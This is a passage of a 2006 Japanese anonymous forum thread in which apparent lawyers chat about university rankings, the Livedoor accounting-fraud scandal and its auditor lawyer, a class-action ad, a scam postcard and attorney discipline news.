公判前整理手続なんかに付されたらお手上げの弁護士が過半数なんじゃないかな。
破産法改正はついていけるが,個人再生をよく知らない老弁もいる。

252 :無責任な名無しさん:2006/01/27(金) 20:50:30 ID:poa1sZNc
公判前整理手続(期日間整理手続)自体は問題ない
仮にも現役なら法改正についていけない方が悪い
しかし、連日的開廷はマジきつい
請けた俺が悪いんだけど、これじゃ「的」じゃなくて連日開廷だよ
俺はしがない国選弁護人だってば…

253 :無責任な名無しさん:2006/01/28(土) 00:06:53 ID:lVl11SAS
みなさんの出身大学を教えてくださいでつ。

254 :無責任な名無しさん:2006/01/28(土) 00:08:12 ID:01CuzL/o
中州産業大学

255 :無責任な名無しさん:2006/01/28(土) 00:21:32 ID:aFhyCxMr
>>254
古すぎ

256 :無責任な名無しさん:2006/01/28(土) 00:25:35 ID:e3QV1/Yn
バカ田大学

257 :無責任な名無しさん:2006/01/28(土) 00:42:20 ID:01CuzL/o
馬鹿田大学阿呆学部
低脳未熟大学呆学部呆立学科

258 :無責任な名無しさん:2006/01/28(土) 00:57:46 ID:tJJCSMi3
凶徒大学。。。

259 :無責任な名無しさん:2006/01/28(土) 01:14:47 ID:BmQUnuRK
どこもレイープと関係ある大学だな

260 :無責任な名無しさん:2006/01/28(土) 01:15:35 ID:01CuzL/o
頭狂大学
情痴大学
迷痔大学
包○大学
……だんだん東大一直線の世界へw

261 :無責任な名無しさん:2006/01/28(土) 02:10:29 ID:HZwml1V3
金日成政治軍事大学

262 :無責任な名無しさん:2006/01/28(土) 02:17:29 ID:01CuzL/o
ガミラス帝国大学
マリネラ大学
ノベンバーギムナジウム大学


263 :無責任な名無しさん:2006/01/28(土) 04:00:51 ID:7TcB55UQ
帝都大学
東西大学
東都大学
あたりがよくドラマに出てくるな。

264 :TN:2006/01/28(土) 06:39:00 ID:cyr5gL+p
2ちゃんに学歴でよくマーチって出てくるけど、どういう意味?

265 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/01/28(土) 08:04:31 ID:ck5D+0FS
Meiji
Aoyama
Rikkyo
Chuo
Housei
だったと思う。

266 :無責任な名無しさん:2006/01/28(土) 08:07:34 ID:EuR9jNPG
MARCH=明治・青山・立教・中央・法政=2番手私立大学

大東亜帝国 日東駒専 

267 :無責任な名無しさん:2006/01/28(土) 09:20:45 ID:dybu0/5n
>>264
http://vista.x0.to/img/vi22012.jpg

268 :無責任な名無しさん:2006/01/28(土) 12:18:23 ID:kCa8ZZwr
ヤメ判ですが、退官してからは学歴なんてまったく意識したことがなかった。

弁護士界も、本音では学歴が関係するの。
それとも、昨年末ころから、このスレのカキコミの雰囲気=参入者に変化があっただけなの。

どなたか、ご高見を・・・。

269 :無責任な名無しさん:2006/01/28(土) 12:20:00 ID:0T3vUYrq
そういう意味だったのか・・・。
マーチっていう大学があるかと思ってた。

270 :TN:2006/01/28(土) 12:43:36 ID:cyr5gL+p
買い物から今帰ってきた

>>268
おっしゃるとおり私も含め弁護士はほとんど学歴を気にしません
(会長の学歴をみれば分かると思います)
このスレの書き込みは弁護士以外の人が相当いるようで、そういう人たちが学歴を話題にしてるのだと思います
なぜかは知りませんが2ちゃんの住人は学歴を気にする人が異様に多いようです



271 :無責任な名無しさん:2006/01/28(土) 12:45:27 ID:01CuzL/o
>>286
学歴に粘着するのは昔からの2chネラの中の悪性腫瘍だけです
ときどきPスレやJスレも学歴粘着房が荒らしてます。
気にせずスルーがいいですよ。

272 :無責任な名無しさん:2006/01/28(土) 12:46:41 ID:01CuzL/o
追伸:
それともギャグって笑いを提供するという手も
荒らしたちの気勢をそぐ効果もあります

273 :無責任な名無しさん:2006/01/28(土) 12:46:52 ID:kCa8ZZwr
>MARCH=明治・青山・立教・中央・法政=2番手私立大学
>大東亜帝国 日東駒専

一応の好奇心からの質問です。

「1番手私立大学」ってのは、早慶は知ってるが、外にはどんなとこが?
次にある、
大? 分からん。
東?(東大は国立ですね)
亜?(「阿呆科卒です」とは、私もジョークでよく言いますが、字が違う)
帝国?(帝国大学は、旧制度の官立総合大学のことですね)

日=日本大学
東? やはり東大ではない。東洋大学は、松前重義という元逓信院総裁が創った理科系の大学の筈。
駒? 駒場は東大の別称だが。
専=法科専門学校→○○法科大学院?
 




274 :無責任な名無しさん:2006/01/28(土) 12:49:50 ID:e3QV1/Yn
>>268
期の若い人が学歴持ち出してるような気がします。

昔は司法試験に合格した弁護士というだけで、十分に自尊心を満足させ
られていたので、そこからさらに自分が優れていることをアピールするの
ははしたないことだと考える余裕があった(自分のサイトに納税額や司法
試験の成績貼る人もいますが)。

今では、合格者の数が増え、それだけでは自尊心の満足が得られなくな
ったので、学歴だとか短期合格とか任官とか渉外とか、差別化に必死と
いう状況なんじゃないでしょうか。
とくに弁護士になりたての人は仕事上の実績がないから、過去の学歴とか
に頼らざるをえないという特徴があります。ある程度仕事をしてくると、学歴
よりも実績の方を自慢したくなると思いまよ。

弁護士を数年して、まだ学歴を持ち出すのは、仕事ができない無能な弁護
士には、それしか誇るところがないからでしょう。


275 :無責任な名無しさん:2006/01/28(土) 12:51:10 ID:01CuzL/o
>>273
日東駒専(にっとうこません)とは、以下の大学群の総称である。
日本大学 ・東洋大学 ・ 駒澤大学 ・ 専修大学
http://ja.wikipedia.org/wiki/%E6%97%A5%E6%9D%B1%E9%A7%92%E5%B0%82
大学受験予備校業界で産まれた言葉です。
偏差値や入試の難易度の志望校選択用語に過ぎません。
2chでは学歴房が別の意味に使っているので不愉快ですが。

276 :無責任な名無しさん:2006/01/28(土) 12:54:04 ID:/iqPlN6D
学歴なんてどうでもいい。
それよりも堀江の今後を議論しましょう。

277 :無責任な名無しさん:2006/01/28(土) 12:56:00 ID:wCWLO9c1
>>268>>273
お前も落ちこぼれなんだから学歴ネタをひっぱるのはやめろ

278 :TN:2006/01/28(土) 12:58:59 ID:cyr5gL+p
>>273
大東 大東文化
亜  亜細亜
帝  帝京
国  国士舘
(意味は分からないが右翼ということ?)
日 日大
東 東洋
駒 駒沢
専 専修
(元々第2次ベビーブームの時代に難化した大学との意味だったはず)

279 :無責任な名無しさん:2006/01/28(土) 12:59:44 ID:o+sF3gA9
>>273
1番手 早慶、上智、ICU(但し、後の2つは女子学生限定)

日 日本大学  大東(2文字で1つ) 大東文化大学(別名 BIG東大)
東 東洋大学  亜         亜細亜大学 
駒 駒沢大学  帝         帝京大学
専 専修大学  国         国士舘大学
(3番手)             (4番手)

語呂合わせなので、あまり厳密に追求しないように。

ちなみに、キリスト教系のJAL(上智、青山、立教)というのもある。
立教がRになったりLになったりするのはご愛嬌ということで。 



280 :無責任な名無しさん:2006/01/28(土) 13:03:34 ID:01CuzL/o
ただの語呂あわせということで、次の話題に行ってみよう!

281 :268です:2006/01/28(土) 13:06:36 ID:kCa8ZZwr
皆さんありがとう。
少しは事情が分かりました。

要は、弁護士になってまで、未成年時代のことを話題にしたくなる人も出てきたということ、そして、これを看板にしたくなるような時勢になってきたのかも・・・。
もー、こんなツマラン話題は、ここでは打ち切りましょうか。」

ただ、個人的な感想を付言させて貰うと、
裁判所では、東大・京大・早大・・が多かったが、相対的にはやはりレッテルに応じた能力、実績を示していたと思いました。
弁護士界では、反対に、事件についての処理能力、実績等、人格・見識、その他の存在感において、学歴等(そもそも、お互いに知らないことが多いこともあり)がまったく関係ないですね。

自分から言い出して済まんが、まー、もう、やめましょうね。

282 :無責任な名無しさん:2006/01/28(土) 13:15:52 ID:wCWLO9c1
ヤメ判は退官しても空気読めないんだな・・ハァ

283 :268です:2006/01/28(土) 13:33:04 ID:kCa8ZZwr
↑ それが弁護士界で「ヤメ判」「ヤメ検」という呼称が残る理由なんでしょうね。
 
 空気が読めずに、まことにスンマセンでした。


284 :無責任な名無しさん:2006/01/28(土) 13:40:35 ID:e3QV1/Yn
>>281
> ただ、個人的な感想を付言させて貰うと、
> 裁判所では、東大・京大・早大・・が多かったが、相対的にはやはりレッテルに応じた能力、実績を示していたと思いました。
> 弁護士界では、反対に、事件についての処理能力、実績等、人格・見識、その他の存在感において、学歴等(そもそも、お互いに知らないことが多いこともあり)がまったく関係ないですね。

こういう話なら、もうちょっと続けさせてください。
裁判所からみると、弁護士の学歴と能力・実績は関係ないが、裁判所内部ではある
ってことですか。それとも、弁護士の学歴を知らないから、能力・実績との相関関係
について語れないということですか。

もし、前者なら、なぜなんだろう。裁判所の仕事は受験勉強と似た面があるけど、弁
護士の仕事はないってことかな。弁護士の仕事はどうしても、依頼者の能力やもと
もとの事件のスジに影響を受けるという面があるけれども(最初から対等のゲーム
じゃない)

285 :無責任な名無しさん:2006/01/28(土) 13:47:11 ID:01CuzL/o
横レス失礼。
Jは,当事者双方が出された証拠を前提に仕事を進められますし,不足を感じたら主張立証を促せばいいだけです。
Bは(おそらくPも),自ら調査して事情聴取を重ね,スジ立てして証拠化するというメンドイ仕事が大半を占めます。
その過程では,依頼者や関係者の信頼を得て事情を話してもらうという人間性を問われます。権威で人は話をしてくれません。
当事者と主宰者というビジネスキャラの違いが,読むべき空気が異ならせているだけだと思います。


286 :268です:2006/01/28(土) 14:44:08 ID:kCa8ZZwr
>>284 裁判所の仕事は受験勉強と似た面があるけど、弁護士の仕事はないってことかな。弁護士の仕事はどうしても、依頼者の能力やもともとの事件のスジに影響を受けるという面があるけれども(最初から対等のゲームじゃない)

うん、個人的感想とお断りしたように、いまだ、私自身が真正面から難しく考えた結果ではないのですが、284、285さんらが記載されている限りのことでは、それに同感です。
あえて極言すれば、大学・司法試験合格レベルの努力と能力があれば、裁判官としては一応はやっていけるとは考えたし、一応は、そのとおりだったと思う。
その意味では、裁判所での仕事は、受験生とは同一線上のその延長線上にあると考えています。

しかし、弁護士としては、(対裁判所関係では)このような資質も当然、ある程度は必要だが、それだけではやっていけないし、また、これ以外の資質・能力、努力、運等の要素が大きいと考えている段階です。
粗雑な議論で申し訳ないが、意のあるところをくんで下さい。

287 :無責任な名無しさん:2006/01/28(土) 17:39:50 ID:Mm3ZTEIj
学歴話で争ってるのもかなり醜いが、個人的には
相談関連のスレでお互い見ず知らずのやつに対して「お前はこうするべきだ」とか自信満々で書きあってるのもどうかと思う。
実際あの手のスレって長続きしてないのがほとんどだし。コテ付けて相談してた側の人もしばらくしたら急に消える。
やっぱあれはお前に俺の何がわかる?みたいになって呆れてくんだろうね。

288 :無責任な名無しさん:2006/01/28(土) 20:50:42 ID:oxC/CqKj
新入り事務員さん、報告の必要性を独断で判断して、
自分が不要と思った報告はしてこない。
債権者からの問い合わせとかはいいけど、依頼者からの
問い合わせくらいは一言云えよな・・・。
ったく・・・。

289 :無責任な名無しさん:2006/01/28(土) 21:55:22 ID:S6ePxetZ
それは、言って直らないようなら、辞めてもらうしかないね。

290 :無責任な名無しさん:2006/01/28(土) 22:30:35 ID:xTXgGcWR
判断させるな。
例え選挙の電話であってもすべて報告させろ。
それは事務所の教育システムの問題。

291 :無責任な名無しさん:2006/01/29(日) 00:15:36 ID:ZtFob07r
>>288
ハイハイ ワロス ワロス

340 無責任な名無しさん sage 2006/01/28(土) 14:10:49 ID:oxC/CqKj
最近パートナー参加した弁護士に注意されたこと。
1 ドウハイ事件の簡単な上申書を決済を得ずに職員を押して提出したこと
2 報告が遅いこと。破産や保全の決定が出たことなど後でまとめて
  報告しとこうと思ってたのに。

みなさん、どうしてます?

【セクハラ】事務員本音talkスレ4頁目【根絶】
http://school5.2ch.net/test/read.cgi/shikaku/1131863289/


292 :無責任な名無しさん:2006/01/29(日) 00:17:17 ID:uF67ehgl
>>291
なるほど。事務員が弁護士を語っていただけだったんだね。
良く見つけたね。

293 :無責任な名無しさん:2006/01/29(日) 00:38:28 ID:Lv9nlKB4
いーや、同じ事務所の弁護士と事務員が別々に書き込んだのかもしれんぞ!

294 :無責任な名無しさん:2006/01/29(日) 01:01:05 ID:hzkT6Ght
弁護士で対人恐怖症の人っているの?

295 :無責任な名無しさん:2006/01/29(日) 01:02:20 ID:l+jYuP5f
>>294
(=゚ω゚)ノ

296 :無責任な名無しさん:2006/01/29(日) 01:14:35 ID:LeAagSYu















297 :無責任な名無しさん:2006/01/29(日) 01:16:04 ID:LeAagSYu
ひまじん?





298 :無責任な名無しさん:2006/01/29(日) 02:42:20 ID:cg6FMPN8
ライブドア株で損をした人、損害賠償請求しましょう。
ライブドアが有価証券報告書に虚偽したことにより損害を受けた方の相談が急増し、損害賠償請求することになりました。
損害を受けた方、事務所に相談にいらしてください。
相談は無料です。
集団で訴訟提起する予定ですので、一人一人で訴訟するより効率がよいと思います。
第一陣として先着200名様限定とさせていただきます。
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裁判所費用   2万円
着手金 5万円 報酬金 回収額の15%

または着手金 0万円 報酬金 回収額の20%
着手金は返却しません。
着手金0の方は、最大で損して2万円ということになります。
報酬金は回収できた金額をベースにします。
詳細はいますぐここをクリック


299 :無責任な名無しさん:2006/01/29(日) 10:15:52 ID:uF67ehgl
>>298
URLどこ?
知人(弁護士)が冗談で298のようなことを言っていたのだが、
呼びかけ人=知人かな。

でも知人は間接損害だし売ってない限り含み損に過ぎないし難しいかなと言っていたな。

300 :無責任な名無しさん:2006/01/29(日) 11:08:37 ID:LeAagSYu
西部の株のときと同じだな。

わりといい仕事かもしれない。

すでに日弁連で相談のってるし。

301 :無責任な名無しさん:2006/01/29(日) 11:57:59 ID:VljzsMu3
やっぱ、犬、猫の類には人の心も言葉も通じないということが納得できた。


302 :無責任な名無しさん:2006/01/29(日) 12:25:42 ID:JNaRR6x1
>>295
弁護士で対人恐怖症でやっていけるんすか・・・?

303 :無責任な名無しさん:2006/01/29(日) 16:34:03 ID:LeAagSYu
渉外なら可能かもね。




304 :無責任な名無しさん:2006/01/29(日) 17:18:26 ID:qg3wu9PX
>>299
http://www.japanlaw.net/livedoor.html

305 :無責任な名無しさん:2006/01/29(日) 18:07:16 ID:k7VQ1/wr
なんかメンバーの構成が微妙な事務所だな。

306 :無責任な名無しさん:2006/01/29(日) 19:57:14 ID:sEQchLVx
>>302
対人恐怖症というのがどういうものか分からないけど
人が嫌い、他人の心に共感できないというのも一つの症状なら
自分がまさにそうだ。
弁護士なんて一番やっていけない職業だよ
こないだ久々に同期とあったけど、同期と凄い差が付いてしまった
ひきこもって司法試験の勉強だけ一生やってたいです


307 :無責任な名無しさん:2006/01/29(日) 20:38:13 ID:fTZKHfxw
対人恐怖症ってのは普通に考えると人と会話がちゃんとできない人だと思われ。

308 :無責任な名無しさん:2006/01/29(日) 20:46:05 ID:LeAagSYu
取締役に個人資産がありそうなので、
回収は可能でしょうね。

こういう事件って、被害者をまとめられるのかな?

309 :無責任な名無しさん:2006/01/29(日) 23:29:01 ID:8YcTDgge
俺東京の会則とか知らないんですが、>>304のような特定事件について無差別に出す広告って良いの?

310 :無責任な名無しさん:2006/01/30(月) 00:24:26 ID:oXcuR5j7
ところで、ライブドアの監査役をしていたという弁護士は
やばいことにはならないのかな?
監査役くらいなら大丈夫かな。

311 :無責任な名無しさん:2006/01/30(月) 00:48:20 ID:fNUPJTZG
>>310
かなりやばい。

ライブドア本体の粉飾決算、監査役の弁護士ら「適法」
http://headlines.yahoo.co.jp/hl?a=20060126-00000101-yom-soci&kz=soci
(略)
 関係者によると、ライブドアは同年9月期の単独の決算が赤字になったため、子会社化する予定だった
消費者金融「ロイヤル信販」(現ライブドアクレジット)などの利益を自社の利益に付け替え、約14億円の
経常黒字に粉飾した。
 ライブドアの監査を担当する港陽監査法人(横浜市)は、こうした工作に不審を抱き、粉飾の可能性もあ
るとして調査を開始。一時は、「適正意見」を出す根拠が得られなかったことを示す「意見差し控え」を、監
査報告書で表明することも検討した。
 これに対し、監査役の弁護士らは同期決算を「適法である」とする意見書を作成、監査法人側に示した。
このため、監査法人は意見書に従って最終的に決算を妥当と結論づけ、「適正意見」を表明したという。
 この弁護士は、1999年12月にライブドア(当時はオン・ザ・エッヂ)の監査役に就任。グループ各社の
取締役にも名を連ね、ウソの決算発表が証取法違反(風説の流布など)に問われた関連会社「バリュー
クリックジャパン」(現ライブドアマーケティング)の監査役も兼務している。 所属する法律・税務・会計事務
所「ゼネラル・コンサルティング・ファーム」(横浜市)は、ライブドア前取締役の宮内亮治容疑者(38)が一
時、代表を務めていた。同事務所は特捜部の捜索を受けている。宮内容疑者は調べに、ライブドアの04年
9月期決算を粉飾したことを認め、前社長の堀江貴文容疑者(33)も知っていたことを示唆する供述をしている。
 この弁護士が粉飾を知りながら、「適法」の意見書を作成していた場合には責任を問われる可能性もあるが、
所属事務所は「取材には一切、応じていない」としている。


312 :無責任な名無しさん:2006/01/30(月) 02:52:30 ID:n7bNPn5g
50期二人と58期二人だそうですね、その事務所
何にせよ、若すぎる気がします。

313 :無責任な名無しさん:2006/01/30(月) 05:28:47 ID:i5g19Rkd
ライブドアは、「士」に対する金払いが良すぎたからね。
その見返りは、かなり〜相当ヤバイ要素が匂ったが。
ウチのボス弁は「ホリエモンはチト信用できん。止めとけ。」と言っていた。
よかったーーー!

314 :無責任な名無しさん:2006/01/30(月) 07:11:19 ID:Bf0nLQT4
>>312
58期はセーフだな。

315 :無責任な名無しさん:2006/01/30(月) 07:23:01 ID:fNUPJTZG
>>313
ニッポン放送のときも、代理人が次々辞めてたからな。
きっとヤバイことを知ってしまったんだろう。

316 :無責任な名無しさん:2006/01/30(月) 08:20:46 ID:D5WQX97F
そういえば猪木っていう人が理由不明で辞めてたね

317 :TN:2006/01/30(月) 10:33:50 ID:hb7XG8n8
>>309
広告規定には違反しないようだね
ただこれが特定個人へのDMの形だと単位会の承認が必要
日弁の広告規定参照

318 :無責任な名無しさん:2006/01/30(月) 20:08:41 ID:CfgrsrSi
>>312
再登録とかでなければ登録番号見る限り
53期1人 57期1人 58期3人なような気がするが。
明日事務所に行ったら調べてみよう。


319 :無責任な名無しさん:2006/01/30(月) 20:11:04 ID:A+rgmDEw
必死こいて頑張ってみれば?

320 :無責任な名無しさん:2006/01/30(月) 20:48:17 ID:cPF+w86+
>>319
誰に言ってる?

321 :無責任な名無しさん:2006/01/30(月) 21:38:12 ID:9D9meRLl
ファームのHPによると弁護士2人は97年登録とのこと
てことは50期?

322 :無責任な名無しさん:2006/01/31(火) 00:47:41 ID:f6KnYgUD
このコンサルファームって一体どういう構成になっているんだ?
web見る限り株式会社の傘下に弁護士事務所や税理士事務所が入っているよう
にも見えるんだが、この種の業態って弁護士会的に許されるのだろうか?
最近、この種のワンストップサービスを標榜するグループが結構沢山あるけど
コンサル業務と一体化し始めると非常に危険だと思うけどね。

323 :無責任な名無しさん:2006/01/31(火) 00:50:23 ID:AKZxGNB6
>>321
あの登録番号でそれはあり得ないでしょ。

324 :無責任な名無しさん:2006/01/31(火) 00:56:00 ID:HAv/eMDa
日弁連の会員用ホムペでみたら、49期×2と58期×2だったよ。

325 :無責任な名無しさん:2006/01/31(火) 01:00:33 ID:AKZxGNB6
>>324
GJ!
でも、ここ弁護士5人いないか?

326 :無責任な名無しさん:2006/01/31(火) 01:07:08 ID:HAv/eMDa
4人だけでしたよ。検索結果では。


327 :無責任な名無しさん:2006/01/31(火) 01:11:01 ID:AKZxGNB6
>>326
何でだろう?
一般向けの情報検索では東1、一4で出てくるんだけど?

328 :無責任な名無しさん:2006/01/31(火) 01:40:09 ID:HAv/eMDa
>>327
あ、ごめん。俺がちゃんとスレを読んでなかったよ。
↑であがっていたのは>>304の話しか。
俺は勝手に>>310-312でゼネコンファームの話しをしているのかと思ったら、
>>318から>>304に話しが変わってたのね。




329 :無責任な名無しさん:2006/01/31(火) 01:45:34 ID:HAv/eMDa
>>304は、
48期×1
53期×1
58期×3

再度よく読めばやっぱ、>>321>>322はゼネコンの話しだな。


330 :無責任な名無しさん:2006/01/31(火) 01:48:39 ID:AKZxGNB6
>>328
俺こそスマソ。
流し読みしてたから「ファームのHP」の部分をサクっと見落としていたよ。orz

331 :無責任な名無しさん:2006/01/31(火) 01:51:32 ID:AKZxGNB6
ってゆうかよく読んでみると流れそのものを理解していなかったみたいね。
もう寝るわ。。。。

332 :無責任な名無しさん:2006/01/31(火) 22:50:29 ID:vZFtF0ep
>>304
itjか・・・。

333 :無責任な名無しさん:2006/01/31(火) 22:52:13 ID:VGHogd/U
ヒューザー小嶋社長の損害賠償訴訟の印紙代は,2,000万円???

ニゲチャオーット...((((( ((;^^)

受任した先生は誰よ?勝ち目はないと思うけど,成功報酬はすごい額になるなー・・・。ウラヤマシイ・・・

334 :無責任な名無しさん:2006/01/31(火) 23:13:20 ID:gsowheo9
>>333
例の補佐人じゃねーの。

335 :無責任な名無しさん:2006/01/31(火) 23:28:10 ID:Y75wnil0
いったい何のための訴訟かね
あれで破産開始が止まるとも思えないんだが
破産原因が消える?

336 :無責任な名無しさん:2006/01/31(火) 23:40:22 ID:/5g3+Xn1
「法務局ナントカ事務センター」なるところから葉書が来たと
事務所の近所に住む元依頼者から電話。
「電子消費者料金未納のお知らせ 裁判取下の最終通告」などとあるらしいので
怖くないから無視してください、と言った。

そしたら、同じ文面のハガキが自分にも届いてた
事務所の住所と自分の個人名が宛名だった。
どこで調べたんだろうな〜個人の家だと思ったんだろうけど。
凄く電話してみたいけど、フリーダイヤルじゃないし電話代無駄かな。
生意気にも平日のみ9時から5時の受付。忙しい時間にかけるのも嫌だな〜
しかしちょっと騙されたフリしてみたい。

337 :無責任な名無しさん:2006/01/31(火) 23:42:51 ID:h0q5rd78
>>336
106(コレクトコール)でかけてみたらどう?
応じない可能性は高いけど。

338 :無責任な名無しさん:2006/02/01(水) 01:40:13 ID:MyW1B4HD
>>337
106で掛けると相手側に電話番号が通知されますが。

339 :無責任な名無しさん:2006/02/01(水) 08:42:40 ID:MfduT1r9
ヒューザーの代理人の筆頭には,不当逮捕されたY先生。
さっきテレビでちらっと出てた。

340 :無責任な名無しさん:2006/02/01(水) 09:05:10 ID:IOr6t4Oi
オウム、ヒューザーとは刑弁エリートだね

341 :無責任な名無しさん:2006/02/01(水) 11:03:40 ID:jsdcItR+
Y先生?まじ?
ご自身の控訴審が明日のようだが、ヒューザーの件はさすがにガッカリだな。
ヒューザーより木村建設、総研の方がはるかに悪どいとは思っているが、
イーホームズ提訴に先立って行政を訴えたり、訴額が巨大であったり、
得心しがたい。

342 :無責任な名無しさん:2006/02/01(水) 11:09:14 ID:RZ4wN9EH
保釈申請せず8万円「着服」 詐欺の被告に弁護士がうそ
http://www.asahi.com/national/update/0131/TKY200601310460.html

詐欺事件の被告から「保釈手数料」の名目で8万円を受け取りながら保釈申請を
しなかったとして、第二東京弁護士会は31日、同会所属の古澤清伸(きよのぶ)
弁護士(71)を業務停止2カ月とする懲戒処分を発表した。

343 :無責任な名無しさん:2006/02/01(水) 12:32:01 ID:SK+PP/06
わけわからん。権利保釈の事案なら、保釈不許可事由がないって書くだけで申請できるのに。
保釈請求書のひな型の事件番号、事件名、被告人名変えるだけだろ。

仮にパソコン使えず、事務員もいないとしても、申立書いちから清書するのがそんなにいやか?

344 :無責任な名無しさん:2006/02/01(水) 13:27:41 ID:MyW1B4HD
71歳で認知症が始まってるとか

345 :無責任な名無しさん:2006/02/01(水) 13:54:38 ID:SK+PP/06
横浜の先生、いよいよ危なくなってきたな。


ライブドア、40数社で同一人物が監査役
http://news.tbs.co.jp/newseye/tbs_newseye3216434.html
 ライブドア事件で新事実です。ライブドアが抱えるグループ会社、およそ45社のほぼ全てで、
同じ人物が監査役に就任していることが明らかになり、グループぐるみで粉飾決算を行っていた
構図が浮かび上がりました。
 JNNの調べによりますと、およそ45あるライブドアのグループ会社のほぼ全てで、48歳の弁
護士が非常勤の監査役を務めています。
 この弁護士は、宮内亮治容疑者が2000年に横浜市内に開設した法律・会計事務所「ゼネラル・
コンサルティング・ファーム」に所属。
 また、この事務所の代表は、ライブドア本体の監査を担当している横浜市の「港陽監査法人」に
以前、在籍しており、グループ内の経営と監査の癒着ぶりが明らかになりました。
 ライブドアはおととし、プロ野球への参入を巡って好業績を装うため、買収したばかりの企業の
利益を付け替えるなどして、10億円の赤字決算を14億円の黒字に装っていた疑いが明らかに
なっています。
 東京地検特捜部では、こうした経営と監査の癒着ぶりがライブドアグループによる粉飾決算の
温床になったとみて、詳しく調べを進めています。(01日10:53)

346 :無責任な名無しさん:2006/02/01(水) 18:29:59 ID:sQvVU1Cx
それ誰なの?

347 :無責任な名無しさん:2006/02/01(水) 20:03:55 ID:Xq7OJQoI
>>346
ライブドアと横弁のHPを見れば一目瞭然では?

348 :無責任な名無しさん:2006/02/01(水) 20:26:36 ID:q/ZeWtMz
ゼネコンファームのメンバー紹介の実績欄に書いてあるよ。

349 :sage:2006/02/02(木) 03:45:43 ID:+CTMXrPm
 大型集団事件で,原告がたくさんいればいるほど,割り勘負けになってしまう(責任財産によるけど)。
 突き詰めて考えれば,利害相反なのかも知れない。

350 :無責任な名無しさん:2006/02/02(木) 03:49:34 ID:+CTMXrPm
 若手の集団法律事務所の広告見たけど,ちゃんと主張・立証できるのだろうか?「立証できない主張はするな(ケルゼン)」
 フジテレビが損害賠償起こせば,ほとんど持って行かれるし,刑事裁判終了しないと,立証資料出てこないだろう?
 それとも,ライブドアや監査事務所に証拠保全かけるのか? まぁ,東京地検に証拠保全かければ,宝の山だけど・・・。

351 :無責任な名無しさん:2006/02/02(木) 04:11:23 ID:+Pl1kjTE
>>349-350
非弁乙

352 :会長:2006/02/02(木) 09:42:05 ID:+ruV7DA5
352真正非弁乙

353 :会長:2006/02/02(木) 09:43:54 ID:+ruV7DA5
351だ。間違っちゃった。

354 :無責任な名無しさん:2006/02/02(木) 12:32:31 ID:dQ8bXu7q
>>353
馬鹿乙

355 :無責任な名無しさん:2006/02/02(木) 15:02:55 ID:WrJCEVBm
>>353
馬鹿乙

356 :無責任な名無しさん:2006/02/02(木) 15:36:04 ID:yotGCiCO
>>353
どんまい
あの広告は無責任だよな。着手金詐欺の実行の着手有りと考えられなくもない。
これから弁護士が増えるから,あんな広告出したり,堀江に安く使われたりするような弁がふえるんだろうなあ。



357 :無責任な名無しさん:2006/02/02(木) 15:38:23 ID:X/8TVMIg
>>356
名誉毀損乙

358 :無責任な名無しさん:2006/02/02(木) 16:22:23 ID:ZckTZObP
>356

どのページのこと?

359 :無責任な名無しさん:2006/02/02(木) 19:11:19 ID:rZDlEziF
ttp://www.japanlaw.net/

360 :無責任な名無しさん:2006/02/02(木) 22:07:26 ID:5OLvBUP1
>>350
ワラタ
東京地検に証拠保全かけるというのが、斬新で良いね。


361 :無責任な名無しさん:2006/02/02(木) 22:12:22 ID:/uvWpdS6
東京地検に証拠保全といっている時点で、何もわかっていないつうことがわかんないのかな?

362 :無責任な名無しさん:2006/02/02(木) 22:18:26 ID:PVJ6pukQ
>>361
キミにはしんり留保という概念はないのかな。」

363 :無責任な名無しさん:2006/02/02(木) 22:26:18 ID:rZDlEziF
 僕ちゃんは,某刑務所に証拠保全かけたことがある(認容・執行)。
 当時としては,斬新なアイデアだった。あのころは,基本的人権の擁
護と正義の実現に萌えていたのだが。
 ところで,某弁護士法人が,本当に「東京地検宛に保全申立」かけた
らどうする? 却下する理由は見いだしがたいような気がしないでもないが条文見るのめんどい。
 コピー機100台くらい持って押しかけるしかないか?

364 :無責任な名無しさん:2006/02/02(木) 23:09:53 ID:N1o94Atz
>>363
>  ところで,某弁護士法人が,本当に「東京地検宛に保全申立」かけた
> らどうする? 却下する理由は見いだしがたいような気がしないでもないが条文見るのめんどい。

当然却下でしょう。地検が証拠に手を加えたり、廃棄したりするおそれがあると
裁判所が認定するはずがない。検察は、犯人その他が、証拠に手を加えたり、廃棄したりしないように
証拠を押収する機関です。

365 :無責任な名無しさん:2006/02/02(木) 23:31:07 ID:yWW24ojl
>>364 非弁乙

366 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/02/03(金) 00:43:53 ID:eXTAN2pB
盗みを働いては捕まり,服役して出所すると半年も経たないうちにまた盗みを
働いて捕まる,という生活をもう40年も繰り返している被告人がいるのですが,
その控訴趣意書に「被告人にとっては社会の荒波にもまれるより刑務所で衣食住
保障された生活の方が快適なのであり,そのような被告人を国民の血税を使って
長期間養うことはばかげている」と書いたら懲戒でしょうかねぇ。

367 :ヘボP:2006/02/03(金) 00:59:17 ID:ccjTO9qd
>行き詰まり先生
弁スレなのにPで失礼します。<(_ _)>
おっしゃる趣旨は共感でき…ゴホゴホ…ですが,やっぱりマズイでしょう。
控訴審で流行っているのは,「今回はいままでと違い被告人は真摯に反省して勤労意欲に目覚めた様子がうかがわれ……」という定型文です。
この雛形は「20年以上前から変わってないね。僕が左陪席だったころから。控訴審の判決は昔は控訴趣意書が添付されたから(最近は引用だけが多い)よく見たよ。」という歴史と伝統(?)があるものだそうです。
某高裁では,A4で1枚におさめる常習累犯窃盗用の控訴趣意書が多いんだそうです。

368 :無責任な名無しさん:2006/02/03(金) 00:59:41 ID:/bDByyEr
 貴職は,<綱紀委員会にかかって(申立人はJかPかD)長老弁護士から「厳重注意」を受ける程度>であれば幸いである。

369 :無責任な名無しさん:2006/02/03(金) 01:11:59 ID:/bDByyEr
 シャブ&アル依が原因で同種犯行(女<スケ>や通行人をボコにする)した被告
人と2回ほど付き合ったことがある(私選)。

<「あなたは,今まで何回も裁判で「シャブ止める・酒止める」と誓約したんでしょう? 
この法廷での誓いが,今までと違うという特段の事情を説明してください。>

<娑婆に帰ったら,先生の推薦する精神病院に入り依存症治療に努めます>

もちろん,被告人さんと打ち合わせのうえでの問答なのだが,<こういう問
答で行こうか?>と被告人さんに提案したところ,接見室のアクリル遮蔽板
を壊そうとした。

 こういうのは,Dから,懲戒請求を食らうだろうか?

 仏の顔も三度までだったので,受任は固辞した。

370 :無責任な名無しさん:2006/02/03(金) 01:15:29 ID:pPMGn+l1
>>368
綱紀委員会で「厳重注意」とかあるの?

371 :無責任な名無しさん:2006/02/03(金) 01:26:53 ID:/bDByyEr
